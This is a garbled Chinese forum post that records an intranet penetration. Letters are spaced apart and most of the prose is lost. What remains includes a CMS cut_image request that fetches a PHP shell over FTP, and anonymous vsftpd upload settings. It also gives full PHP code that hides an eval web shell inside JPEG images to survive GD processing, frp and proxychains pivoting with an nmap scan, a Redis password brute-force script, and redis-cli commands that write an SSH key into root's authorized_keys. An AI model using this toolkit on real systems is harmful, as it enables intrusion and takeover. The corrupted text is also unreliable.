[28490] 2020-08-10_记一次内网渗透

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2020-08-10_记一次内网渗透   O t s   2 0 2 0 - 0 8 - 1 0 |             g e t s h e l l p o s t C M S F T P F T P P H P G D p a y l o a d F T P G E T   S h e l l P O S T   / i n d e x . p h p ? c a s e = t o o l     A C T   =   c u t _ i m a g e P I C   =   1 f t p / / * . * . * . * / s h e l l . p h p     W   =   2 2 8     H   =   1 4 6     X 1   =   0     X 2   =   2 2 8     Y 1   =   0     Y 2   =   1 4 6 F T P 使 u b a n t u
V S F T P D a p t - g e t   i n s t a l l   v s f t p d V S F T P D v s f t p d /   h o m e   /   u f t p s u d o   m k d i r   /   h o m e   /   u f t p /   s r v   /   f t p u f t p s h e l l s u d o   u s e r a d d   - d   /   h o m e   /   u f t p   - s   /   b i n   /   b a s h   u f t p p a s s w d   u f t p /   h o m e   /   u f t p u f t p c h o w n   u f t p u f t p   /   h o m e   /   u f t p / e t c / v s f t p d . u s e r _ l i s t 访 f t p s u d o   v i m   / e t c / v s f t p d . u s e r _ l i s t u f t p 访 v i m   / e t c / v s f t p d . c o n f W R I T E _ E N A B L E   =   Y E S   a n o n y m o u s _ e n a b l e   =   Y E S   a n o n _ u p l o a d _ e n a b l e   =   Y E S   a n o n _ o t h e r _ w r i t e _ e n a b l e   =   Y E S   a n o n _ w o r l d _ r e a d a b l e _ o n l y   =   N O v s f t p d f t p P O C / i n d e x . p h p ? c a s e = t o o l     A C T   =   c u t _ i m a g e P I C   =   1 f t p / / * . * . * . * / * . j p g     W   =   2 2 8     H   =   1 4 6     X 1   =   0     X 2   =   2 2 8     Y 1   =   0     Y 2   =   1 4 6 s h e l l < ? p h p         / *         T h e   a l g o r i t h m   o f   i n j e c t i n g   t h e   p a y l o a d   i n t o   t h e   J P G   i m a g e ,   w h i c h   w i l l   k e e p   u n c h a n g e d   a f t e r   t r a n s f o r m a t i o n s   c a u s e d   b y   P H P   f u n c t i o n s   i m a g e c o p y r e s i z e d ( )   a n d   i m a g e c o p y r e s a m p l e d ( ) .         I t   i s   n e c e s s a r y   t h a t   t h e   s i z e   a n d   q u a l i t y   o f   t h e   i n i t i a l   i m a g e   a r e   t h e   s a m e   a s   t h o s e   o f   t h e   p r o c e s s e d   i m a g e .         1 )   U p l o a d   a n   a r b i t r a r y   i m a g e   v i a   s e c u r e d   f i l e s   u p l o a d   s c r i p t         2 )   S a v e   t h e   p r o c e s s e d   i m a g e   a n d   l a u n c h :         j p g _ p a y l o a d . p h p   < j p g _ n a m e . j p g >         I n   c a s e   o f   s u c c e s s f u l   i n j e c t i o n   y o u   w i l l   g e t   a   s p e c i a l l y   c r a f t e d   i m a g e ,   w h i c h   s h o u l d   b e   u p l o a d e d   a g a i n .         S i n c e   t h e   m o s t   s t r a i g h t f o r w a r d   i n j e c t i o n   m e t h o d   i s   u s e d ,   t h e   f o l l o w i n g   p r o b l e m s   c a n   o c c u r :         1 )   A f t e r   t h e   s e c o n d   p r o c e s s i n g   t h e   i n j e c t e d   d a t a   m a y   b e c o m e   p a r t i a l l y   c o r r u p t e d .         2 )   T h e   j p g _ p a y l o a d . p h p   s c r i p t   o u t p u t s   " S o m e t h i n g ' s   w r o n g " .         I f   t h i s   h a p p e n s ,   t r y   t o   c h a n g e   t h e   p a y l o a d   ( e . g .   a d d   s o m e   s y m b o l s   a t   t h e   b e g i n n i n g )   o r   t r y   a n o t h e r   i n i t i a l   i m a g e .         S e r g e y   B o b r o v   @ B l a c k 2 F a n .         S e e   a l s o :
        S e e   a l s o :         h t t p s : / / w w w . i d o n t p l a y d a r t s . c o m / 2 0 1 2 / 0 6 / e n c o d i n g - w e b - s h e l l s - i n - p n g - i d a t - c h u n k s /         * /         / /   $ m i n i P a y l o a d   =   $ a r g v [ 2 ] ;         $ m i n i P a y l o a d   =   ' < ? p h p   e v a l ( $ _ P O S T [ 1 ] ) ; ? > ' ;   / /         i f ( ! e x t e n s i o n _ l o a d e d ( ' g d ' )   | |   ! f u n c t i o n _ e x i s t s ( ' i m a g e c r e a t e f r o m j p e g ' ) )   {                 d i e ( ' p h p - g d   i s   n o t   i n s t a l l e d ' ) ;         }         i f ( ! i s s e t ( $ a r g v [ 1 ] ) )   {                 d i e ( ' p h p   j p g _ p a y l o a d . p h p   < j p g _ n a m e . j p g > ' ) ;         }         s e t _ e r r o r _ h a n d l e r ( " c u s t o m _ e r r o r _ h a n d l e r " ) ;         f o r ( $ p a d   =   0 ;   $ p a d   <   1 0 2 4 ;   $ p a d + + )   {                 $ n u l l b y t e P a y l o a d S i z e   =   $ p a d ;                 $ d i s   =   n e w   D a t a I n p u t S t r e a m ( $ a r g v [ 1 ] ) ;                 $ o u t S t r e a m   =   f i l e _ g e t _ c o n t e n t s ( $ a r g v [ 1 ] ) ;                 $ e x t r a B y t e s   =   0 ;                 $ c o r r e c t I m a g e   =   T R U E ;                 i f ( $ d i s - > r e a d S h o r t ( )   ! =   0 x F F D 8 )   {                         d i e ( ' I n c o r r e c t   S O I   m a r k e r ' ) ;                 }                 w h i l e ( ( ! $ d i s - > e o f ( ) )   & &   ( $ d i s - > r e a d B y t e ( )   = =   0 x F F ) )   {                         $ m a r k e r   =   $ d i s - > r e a d B y t e ( ) ;                         $ s i z e   =   $ d i s - > r e a d S h o r t ( )   -   2 ;                         $ d i s - > s k i p ( $ s i z e ) ;                         i f ( $ m a r k e r   = = =   0 x D A )   {                                 $ s t a r t P o s   =   $ d i s - > s e e k ( ) ;                                 $ o u t S t r e a m T m p   =                                           s u b s t r ( $ o u t S t r e a m ,   0 ,   $ s t a r t P o s )   .                                           $ m i n i P a y l o a d   .                                           s t r _ r e p e a t ( " 0 " , $ n u l l b y t e P a y l o a d S i z e )   .                                           s u b s t r ( $ o u t S t r e a m ,   $ s t a r t P o s ) ;                                 c h e c k I m a g e ( ' _ ' . $ a r g v [ 1 ] ,   $ o u t S t r e a m T m p ,   T R U E ) ;                                 i f ( $ e x t r a B y t e s   ! = =   0 )   {                                         w h i l e ( ( ! $ d i s - > e o f ( ) ) )   {                                                 i f ( $ d i s - > r e a d B y t e ( )   = = =   0 x F F )   {                                                         i f ( $ d i s - > r e a d B y t e   ! = =   0 x 0 0 )   {                                                                 b r e a k ;                                                         }                                                 }                                         }                                         $ s t o p P o s   =   $ d i s - > s e e k ( )   -   2 ;                                         $ i m a g e S t r e a m S i z e   =   $ s t o p P o s   -   $ s t a r t P o s ;                                         $ o u t S t r e a m   =                                                   s u b s t r ( $ o u t S t r e a m ,   0 ,   $ s t a r t P o s )   .                                                   $ m i n i P a y l o a d   .                                                   s u b s t r (                                                         s t r _ r e p e a t ( " 0 " , $ n u l l b y t e P a y l o a d S i z e ) .                                                                 s u b s t r ( $ o u t S t r e a m ,   $ s t a r t P o s ,   $ i m a g e S t r e a m S i z e ) ,                                                         0 ,                                                         $ n u l l b y t e P a y l o a d S i z e + $ i m a g e S t r e a m S i z e - $ e x t r a B y t e s )   .                                                                   s u b s t r ( $ o u t S t r e a m ,   $ s t o p P o s ) ;                                 }   e l s e i f ( $ c o r r e c t I m a g e )   {                                         $ o u t S t r e a m   =   $ o u t S t r e a m T m p ;                                 }   e l s e   {                                         b r e a k ;                                 }                                 i f ( c h e c k I m a g e ( ' p a y l o a d _ ' . $ a r g v [ 1 ] ,   $ o u t S t r e a m ) )   {                                         d i e ( ' S u c c e s s ! ' ) ;
                                        d i e ( ' S u c c e s s ! ' ) ;                                 }   e l s e   {                                         b r e a k ;                                 }                         }                 }         }         u n l i n k ( ' p a y l o a d _ ' . $ a r g v [ 1 ] ) ;         d i e ( ' S o m e t h i n g ' s   w r o n g ' ) ;         f u n c t i o n   c h e c k I m a g e ( $ f i l e n a m e ,   $ d a t a ,   $ u n l i n k   =   F A L S E )   {                 g l o b a l   $ c o r r e c t I m a g e ;                 f i l e _ p u t _ c o n t e n t s ( $ f i l e n a m e ,   $ d a t a ) ;                 $ c o r r e c t I m a g e   =   T R U E ;                 i m a g e c r e a t e f r o m j p e g ( $ f i l e n a m e ) ;                 i f ( $ u n l i n k )                         u n l i n k ( $ f i l e n a m e ) ;                 r e t u r n   $ c o r r e c t I m a g e ;         }         f u n c t i o n   c u s t o m _ e r r o r _ h a n d l e r ( $ e r r n o ,   $ e r r s t r ,   $ e r r f i l e ,   $ e r r l i n e )   {                 g l o b a l   $ e x t r a B y t e s ,   $ c o r r e c t I m a g e ;                 $ c o r r e c t I m a g e   =   F A L S E ;                 i f ( p r e g _ m a t c h ( ' / ( d + )   e x t r a n e o u s   b y t e s   b e f o r e   m a r k e r / ' ,   $ e r r s t r ,   $ m ) )   {                         i f ( i s s e t ( $ m [ 1 ] ) )   {                                 $ e x t r a B y t e s   =   ( i n t ) $ m [ 1 ] ;                         }                 }         }         c l a s s   D a t a I n p u t S t r e a m   {                 p r i v a t e   $ b i n D a t a ;                 p r i v a t e   $ o r d e r ;                 p r i v a t e   $ s i z e ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ f i l e n a m e ,   $ o r d e r   =   f a l s e ,   $ f r o m S t r i n g   =   f a l s e )   {                         $ t h i s - > b i n D a t a   =   ' ' ;                         $ t h i s - > o r d e r   =   $ o r d e r ;                         i f ( ! $ f r o m S t r i n g )   {                                 i f ( ! f i l e _ e x i s t s ( $ f i l e n a m e )   | |   ! i s _ f i l e ( $ f i l e n a m e ) )                                         d i e ( ' F i l e   n o t   e x i s t s   [ ' . $ f i l e n a m e . ' ] ' ) ;                                 $ t h i s - > b i n D a t a   =   f i l e _ g e t _ c o n t e n t s ( $ f i l e n a m e ) ;                         }   e l s e   {                                 $ t h i s - > b i n D a t a   =   $ f i l e n a m e ;                         }                         $ t h i s - > s i z e   =   s t r l e n ( $ t h i s - > b i n D a t a ) ;                 }                 p u b l i c   f u n c t i o n   s e e k ( )   {                         r e t u r n   ( $ t h i s - > s i z e   -   s t r l e n ( $ t h i s - > b i n D a t a ) ) ;                 }                 p u b l i c   f u n c t i o n   s k i p ( $ s k i p )   {                         $ t h i s - > b i n D a t a   =   s u b s t r ( $ t h i s - > b i n D a t a ,   $ s k i p ) ;                 }                 p u b l i c   f u n c t i o n   r e a d B y t e ( )   {                         i f ( $ t h i s - > e o f ( ) )   {                                 d i e ( ' E n d   O f   F i l e ' ) ;                         }                         $ b y t e   =   s u b s t r ( $ t h i s - > b i n D a t a ,   0 ,   1 ) ;                         $ t h i s - > b i n D a t a   =   s u b s t r ( $ t h i s - > b i n D a t a ,   1 ) ;                         r e t u r n   o r d ( $ b y t e ) ;                 }                 p u b l i c   f u n c t i o n   r e a d S h o r t ( )   {
                        i f ( s t r l e n ( $ t h i s - > b i n D a t a )   <   2 )   {                                 d i e ( ' E n d   O f   F i l e ' ) ;                         }                         $ s h o r t   =   s u b s t r ( $ t h i s - > b i n D a t a ,   0 ,   2 ) ;                         $ t h i s - > b i n D a t a   =   s u b s t r ( $ t h i s - > b i n D a t a ,   2 ) ;                         i f ( $ t h i s - > o r d e r )   {                                 $ s h o r t   =   ( o r d ( $ s h o r t [ 1 ] )   < <   8 )   +   o r d ( $ s h o r t [ 0 ] ) ;                         }   e l s e   {                                 $ s h o r t   =   ( o r d ( $ s h o r t [ 0 ] )   < <   8 )   +   o r d ( $ s h o r t [ 1 ] ) ;                         }                         r e t u r n   $ s h o r t ;                 }                 p u b l i c   f u n c t i o n   e o f ( )   {                         r e t u r n   ! $ t h i s - > b i n D a t a | | ( s t r l e n ( $ t h i s - > b i n D a t a )   = = =   0 ) ;                 }         } ? > p h p p h p   e x p . p h p   *   . j p g G D p h p P O S T   / i n d e x . p h p ? c a s e = t o o l     A C T   =   c u t _ i m a g e P I C   =   1 f t p / / * . * . * . * / * . p h p     W   =   2 2 8     H   =   1 4 6     X 1   =   0     X 2   =   2 2 8     Y 1   =   0     Y 2   =   1 4 6
l i n u x 使 f r p s e r v e r _ a d d r V P S p o r t c h m o d   + x   f r p c V P S
f r p c K a l i v i m   / e t c / p r o x y c h a i n s . c o n f , 使 n m a p p r o x y c h a i n s   N M A P   - s T   S V   - P n   - n   1 7 2   . 2 0 . 0 . 1 - 2 5 5   - p   8 0 8 0 8 0 , 4 4 5 , 3 3 0 6 , 1 4 3 3 , 7 0 0 1 , 6 3 7 9 , 9 0 9 0 , 5 0 0 0 0 , 5 0 0 3 0 , 7 0 0 2 , 3 3 8 9 , 2 1 , 2 2 1 7 2 . 2 0 . 0 . 2 6 3 7 9 r e d i s 访   1 . p y 1 . p y
# ! / u s r / b i n / p y t h o n 3 #   - * -   c o d i n g :   u t f - 8   - * - " " " @ A u t h o r :   r 0 c k y @ T i m e :   2 0 1 9 / 9 / 2 - 1 7 : 3 5 " " " i m p o r t   s o c k e t i m p o r t   s y s p a s s w d s   =   [ ' r e d i s ' , ' r o o t ' , ' o r a c l e ' , ' p a s s w o r d ' , ' p @ s s w 0 r d ' , ' a b c 1 2 3 ! ' , ' 1 2 3 4 5 6 ' , ' a d m i n ' , ' a b c 1 2 3 ' ] d e f   c h e c k ( i p ,   p o r t ,   t i m e o u t ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 p r i n t   u " [ I N F O ]   c o n n e c t i n g   "   +   i p   +   u " : "   +   p o r t                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 p r i n t   u " [ I N F O ]   c o n n e c t e d   " + i p + u " : " + p o r t + u "   h a c k i n g . . . "                 s . s e n d ( " I N F O r n " )                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                 i f   " r e d i s _ v e r s i o n "   i n   r e s u l t :                         r e t u r n   u " [ H A C K E D ]   访 "                 e l i f   " A u t h e n t i c a t i o n "   i n   r e s u l t :                         f o r   p a s s w d   i n   p a s s w d s :                                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                                 s . s e n d ( " A U T H   % s r n "   % ( p a s s w d ) )                                 #   p r i n t   u " [ H A C K I N G ]   h a c k i n g   t o   p a s s w d   - - >   " + p a s s w d                                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                                 i f   ' O K '   i n   r e s u l t :                                         r e t u r n   u " [ H A C K E D ]   % s "   %   ( p a s s w d )                 s . c l o s e ( )         e x c e p t   E x c e p t i o n ,   e :                 i f   l e n ( e . m e s s a g e )   ! =   0 :                         p r i n t   u " [ E R R O R ]   " + e . m e s s a g e                 r e t u r n   u " [ I N F O ]   R e d i s " i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i p = s y s . a r g v [ 1 ]         #   d e f a u l t   P o r t         p o r t = " 6 3 7 9 "         i f   l e n ( s y s . a r g v )   > =   3 :                 p o r t = s y s . a r g v [ 2 ]         r e s u l t   =   c h e c k ( i p , p o r t ,   t i m e o u t = 1 0 )         p r i n t   r e s u l t         i f   " H A C K E D "   i n   r e s u l t :                 p r i n t   u " [ E N D ]   S t a r t   y o u r   h a c k i n g   j o u r n e y   ! ! ! " k a l i r e d i s w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 2 . 8 . 3 . t a r . g z t a r   - z x v f   r e d i s - 2 . 8 . 3 . t a r . g z c d   r e d i s - 2 . 8 . 3 / m a k e   r e d i s f r p c . i n i 1 7 2 . 2 0 . 0 . 2 6 3 7 9 V P S 6 3 7 9
k a l i s s h - k e y g e n   - t   r s a / r o o t / . s s h   ( e c h o   - e   " n n " ;   c a t   / r o o t / . s s h / i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   / t m p / f o o . t x t
c a t   / t m p / f o o . t x t   |   / r o o t / r e d i s - 2 . 8 . 3 / s r c / r e d i s - c l i   - h   V P S   - p   6 3 7 9   - x   s e t   c r a c k i t   / r o o t / . s s h /       s a v e   f r p c . i n i 2 2 a u t h o r i z e d _ k e y s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则